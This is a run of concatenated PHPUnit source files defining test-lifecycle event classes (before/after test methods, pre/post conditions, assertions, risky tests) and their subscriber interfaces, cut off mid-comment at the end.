namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated */ interface AssertionFailedSubscriber extends Subscriber { public function notify(AssertionFailed $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated */ final class AssertionSucceeded implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $value; private readonly string $constraint; private readonly int $count; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, string $value, string $constraint, int $count, string $message) { $this->telemetryInfo = $telemetryInfo; $this->value = $value; $this->constraint = $constraint; $this->count = $count; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function value(): string { return $this->value; } public function count(): int { return $this->count; } public function message(): string { return $this->message; } public function asString(): string { $message = ''; if (!empty($this->message)) { $message = sprintf( ', Message: %s', $this->message, ); } return sprintf( 'Assertion Succeeded (Constraint: %s, Value: %s%s)', $this->constraint, $this->value, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated */ interface AssertionSucceededSubscriber extends Subscriber { public function notify(AssertionSucceeded $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ComparatorRegistered implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function asString(): string { return sprintf( 'Comparator Registered (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ComparatorRegisteredSubscriber extends Subscriber { public function notify(ComparatorRegistered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterLastTestMethodCalled implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'After Last Test Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterLastTestMethodCalledSubscriber extends Subscriber { public function notify(AfterLastTestMethodCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterLastTestMethodErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'After Last Test Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterLastTestMethodErroredSubscriber extends Subscriber { public function notify(AfterLastTestMethodErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterLastTestMethodFinished implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'After Last Test Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterLastTestMethodFinishedSubscriber extends Subscriber { public function notify(AfterLastTestMethodFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterTestMethodCalled implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'After Test Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterTestMethodCalledSubscriber extends Subscriber { public function notify(AfterTestMethodCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterTestMethodErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'After Test Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterTestMethodErroredSubscriber extends Subscriber { public function notify(AfterTestMethodErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterTestMethodFinished implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'After Test Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface AfterTestMethodFinishedSubscriber extends Subscriber { public function notify(AfterTestMethodFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeFirstTestMethodCalled implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'Before First Test Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeFirstTestMethodCalledSubscriber extends Subscriber { public function notify(BeforeFirstTestMethodCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeFirstTestMethodErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Before First Test Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeFirstTestMethodErroredSubscriber extends Subscriber { public function notify(BeforeFirstTestMethodErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeFirstTestMethodFinished implements Event { private readonly Telemetry\Info$telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'Before First Test Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeFirstTestMethodFinishedSubscriber extends Subscriber { public function notify(BeforeFirstTestMethodFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeTestMethodCalled implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'Before Test Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeTestMethodCalledSubscriber extends Subscriber { public function notify(BeforeTestMethodCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeTestMethodErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Before Test Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeTestMethodErroredSubscriber extends Subscriber { public function notify(BeforeTestMethodErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BeforeTestMethodFinished implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'Before Test Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BeforeTestMethodFinishedSubscriber extends Subscriber { public function notify(BeforeTestMethodFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PostConditionCalled implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'Post Condition Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PostConditionCalledSubscriber extends Subscriber { public function notify(PostConditionCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PostConditionErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Post Condition Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PostConditionErroredSubscriber extends Subscriber { public function notify(PostConditionErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PostConditionFinished implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'Post Condition Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PostConditionFinishedSubscriber extends Subscriber { public function notify(PostConditionFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreConditionCalled implements Event { private readonly Telemetry\Info$telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function asString(): string { return sprintf( 'Pre Condition Method Called (%s::%s)', $this->calledMethod->className(), $this->calledMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreConditionCalledSubscriber extends Subscriber { public function notify(PreConditionCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreConditionErrored implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; private readonly Code\ClassMethod $calledMethod; private readonly Throwable $throwable; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod $calledMethod, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethod = $calledMethod; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } public function calledMethod(): Code\ClassMethod { return $this->calledMethod; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = $this->throwable->message(); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Pre Condition Method Errored (%s::%s)%s', $this->calledMethod->className(), $this->calledMethod->methodName(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreConditionErroredSubscriber extends Subscriber { public function notify(PreConditionErrored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreConditionFinished implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $testClassName; /** * @psalm-var list */ private readonly array $calledMethods; /** * @psalm-param class-string $testClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $testClassName, Code\ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testClassName = $testClassName; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function testClassName(): string { return $this->testClassName; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = 'Pre Condition Method Finished:'; foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreConditionFinishedSubscriber extends Subscriber { public function notify(PreConditionFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ConsideredRisky implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-param non-empty-string $message */ public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, string $message) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } public function asString(): string { return sprintf( 'Test Considered Risky (%s)%s%s', $this->test->id(), PHP_EOL, $this->message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility 